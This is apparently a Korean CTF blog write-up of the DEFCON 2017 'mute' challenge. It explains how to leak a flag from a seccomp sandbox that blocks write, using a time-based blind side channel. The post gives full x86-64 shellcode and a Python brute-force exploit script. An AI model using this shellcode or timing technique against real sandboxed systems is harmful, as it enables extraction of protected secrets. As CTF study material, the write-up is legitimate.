y0u_bat

[DEFCON 2017] mute 본문

System/[CTF]

[DEFCON 2017] mute

유뱃 2017. 5. 8. 15:18

[DEFCON 2017] mute

샌드박스문제이다.
샌드박스 때문에, write를 syscall 못할때, cmp를 이용해서 time-base로 blind로 플래그를 뽑아내는 문제이다.

Mitigation

NX만 걸려있고, 나머지는 안걸려있다.

Vulnerability

Main 함수이다. buf에 4096크기만큼 rwx권한으로 메모리 맵핑해준다.

그리고 read로 buf에 4096 크기만큼 입력받는다. 그다음에 buf에 담긴 내용을 실행한다.

이문제는 샌드박스 관련 문제이다. dropSyscalls() 함수를 한번 보자.

샌드박스가 돌아가고 있고, Rule에 syscall 0x0,0x2,0x3,0x4,0x5,0x6,0x7,0x8,0xa,0xb,0xc,0x3b만 호출 될수있도록 추가 되어 있다.

해당 syscall은 [read, open, close, stat, fstat, lstat, poll, lseek, mmap, mprotect, munmap, brk, execve] 이다.


open과 read를 사용 할 수 있으므로, open으로 flag을 열고, read로 읽을 수 있다.
여기서 문제는 write가 할수없다는것인데, time-base blind로 읽어온 플래그를 뽑아낼수있다.

        xor %rcx, %rcx
        mov $0x1FFFFFFFE, %r10
        cmpb $0x69, (0x601080)
        je time

        xor %rax, %rax
        mov $0x3c, %al
        syscall

time:
        inc %rcx
        cmp %rcx, %r10
        jne time


이런식으로, 0x601080에 플래그를 읽고 cmpb로 비교를 해서 맞을경우, 저 0이 0x1fffffffe이 될때까지 루프를 계속 돌아가게 된다. 0x1fffffffe까지 되는데 한 1초 이상 걸리게 된다.

그래서 그 걸리는 시간을 이용해서, time-base blind를 할 수 있게 된다.


Shellcode ASM

.global main

main:
    xor %rax, %rax
    xor %rdx, %rdx
    xor %rsi, %rsi
    xor %rdi, %rdi
    xor %r10, %r10
    
    mov $0x2, %rax

    mov $0x67616c662f6574, %rbx
    push %rbx
    mov $0x756d2f656d6f682f, %rbx
    push %rbx
    xor %rbx, %rbx
    lea (%rsp), %rdi
    
    
    syscall

    mov %rax, %rbx
    mov %rax, %rdi
    lea (0x601080), %rsi
    mov $0x30, %rdx
    mov $0, %rax
    syscall
    
    xor %rcx, %rcx
    mov $0x1FFFFFFFE, %r10
    cmpb $0x69, (0x601080) # bruteforce
    je time
    
    xor %rax, %rax
    mov $0x3c, %al
    syscall
    
time:
    inc %rcx
    cmp %rcx, %r10
    jne time

    xor %rax, %rax
    mov $0x3c, %al
    syscall
    





Exploit Code


from time import *
from struct import *
import os

p32 = lambda x : pack("<L",x)  

shellcode = "\\x48\\x31\\xc0\\x48\\x31\\xd2\\x48\\x31\\xf6\\x48\\x31\\xff\\x4d\\x31\\xd2\\x48\\xc7\\xc0\\x02\\x00\\x00\\x00\\x48\\xbb\\x74\\x65\\x2f\\x66\\x6c\\x61\\x67\\x00\\x53\\x48\\xbb\\x2f\\x68\\x6f\\x6d\\x65\\x2f\\x6d\\x75\\x53\\x48\\x31\\xdb\\x48\\x8d\\x3c\\x24\\x0f\\x05\\x48\\x89\\xc3\\x48\\x89\\xc7\\x48\\x8d\\x34\\x25\\x80\\x10\\x60\\x00\\x48\\xc7\\xc2\\x30\\x00\\x00\\x00\\x48\\xc7\\xc0\\x00\\x00\\x00\\x00\\x0f\\x05\\x48\\x31\\xc9\\x49\\xba\\xff\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x80\\x3c\\x25"
start_time = 0
address = "" 
flag = ""
shellcode2 = "\\x74\\x07\\x48\\x31\\xc0\\xb0\\x3c\\x0f\\x05\\x48\\xff\\xc1\\x49\\x39\\xca\\x75\\xf8\\x48\\x31\\xc0\\xb0\\x3c\\x0f\\x05\\x66\\x2e\\x0f\\x1f\\x84\\x00\\x00\\x00\\x00\\x00"

flag_table = []

for i in range(0x80,0x80+30,1):
    print hex(i)
    for j in range(0x21,0x7e,1):
        start_time = time()
        address = "\\" + str(hex(i))[1:] + "\\x10\\x60\\x00"
        flag = "\\" + str(hex(j))[1:]
        payload = shellcode + address + flag + shellcode2 + "\\x90"*(4096-138) 
        os.popen("python -c 'print \"" + str(payload) + "\"' | ./mute")
        result_time = time() - start_time 
        if result_time > 2:
            flag_table.append(chr(j))
            print flag_table
            break


'System > [CTF]' 카테고리의 다른 글

Codegate2018 - BaskinRobins31  (0) 2018.02.10
Codegate2018 - Super Marimo  (0) 2018.02.10
Codegaet2018 - Melong  (0) 2018.02.10
[DEFCON 2017] Smashme  (0) 2017.05.07
[DEFCON 2017] beatmethedl  (1) 2017.05.06
Comments